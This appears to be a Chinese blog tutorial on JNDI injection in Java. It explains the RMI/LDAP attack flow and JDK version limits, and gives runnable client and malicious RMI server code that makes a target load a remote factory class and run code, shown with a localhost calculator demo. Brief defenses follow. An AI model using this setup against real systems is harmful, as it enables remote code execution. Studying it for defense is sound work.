一.前言
之前使用反序列化和序列化时写入的到文件里面的,真实环境中,也是这样吗?
当然不是了,通过二进制,字节流数据进行的。
为什么会有JNDI?
由于http和ftp传输消耗资源仍然很大,就有了JRMP协议(java开发),像腾讯,阿里,有自己的一套java开发环境,用原生态的JRMP协议不是很方便,于是在这个基础上,他们就开发了一些其他功能,比如rmi协议,ldap协议。
但这样造成的问题就是,兼容性差,为了解决这个问题,为了规范,所以有了这个JNDI协议,JNDI协议下面就有了rmi,ldap协议,所以java里面一般都有这个JNDI依赖包。
JNDI可访问的现有的目录以及服务有:JDBC(数据库的连接),LDAP,RMI,NID,CORBA
JDBC(数据库的连接):主机a要连接数据库b,就要用的这个依赖包。
LDAP:文件传输,字节传输。
JNDI是对各种访问目录服务的逻辑进行了再封装,其实jndi里面没有什么的,类似目录,帮你访问。
二.JNDI的介绍
JNDI是java命名与目录接口(java Naming and Directory Interface),在 J2EE规范中是重要的规范之一。调用JNDI的API应用程序可以定位资源和其它 程序对象。
java Application 调用JNDI API接口从某个类中的lookup函数,方法调用LDAP,RMI协议,实现功能,这些只有java语言里面才有。
有些公司,比如weblogic这个中间件,它是付费的,那他又在这个基础上定义了一个协议,就是T3协议,专门用于weblogic里面传输数据,这里也有漏洞。
这些协议遇到对象,反序列化的数据,就会解析,比如数据里面有恶意方法,就会执行,这就叫做JNDI注入。
三.复现事项
在复现的过程中,注意JDK的版本,JDK在版本中对JNDI的利用有一定的限制。
比如说JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。 当然还有ldap的协议也要注意, 注意JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCod
四.jndi注入的利用条件
(1)客户端的lookup()方法参数可控
(2)服务端在使用Reference时,classFactoryLocation参数可控
五.注入的一个流程
可以先理解这个
这是较全面的过程
(1)目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
(2)攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;
(3)攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory 类;
(4)目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用 factory.getObjectInstance()获取外部远程对象实例;
(5)攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代 码,达到RCE的效果;
六.通过代码理解过程以及注入点
由于懒得搞服务器,我就直接用本机上电脑搭建http和rmi服务端。
客户端
//客户端 import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class Main { public static void main(String[] args) throws NamingException { Context context = new InitialContext(); //context.lookup("rmi://47.106.158.168:1099/hh0czl"); context.lookup("rmi://127.0.0.1:1099/evil"); //查询rmi协议的资源,以rmi协议请求127.0.0.1:1099端口获取evil,如果说我evil这个是恶意的,是不是就会被解析了。 } }
注意:这里的127.0.0.1:1099可控的,真实环境里面是将这里传入我们的rmi的url的 ,这里我没去搞服务器,就直接写死了。
RMI服务端
//服务端 import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099);//服务端创建了一个端口1099,启动1099 String url = "http://127.0.0.1:7777/";//服务端返回给客户端,让客户端去访问这个url,请求资源 System.out.println("Create RMI registry on port 1099"); Reference reference = new Reference("payload2", "payload2", url);//rmi服务断与这个http://127.0.0.1:6666绑定 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("evil", referenceWrapper); } }
运行rmi服务端,监听1099端口。
HTTP服务器,存放paylaod
payload2就是我们的恶意攻击。
监听7777端口
通过页面去访问一下
之前也说了,传输数据是以字节码数据进行传输的,所以我们还需要对payload2编译一下。
javac payload2.java
与二进制有点类似,看不懂。
开始运行
弹出计算器
当然我们也可以使用工具 ,你可以下载到自己的服务器上面,工具直接就可以帮你搭建rmi和http服务器。
七.JDNI防御
1.严格过滤用户传参
2.禁止这些协议使用远程codebase的选项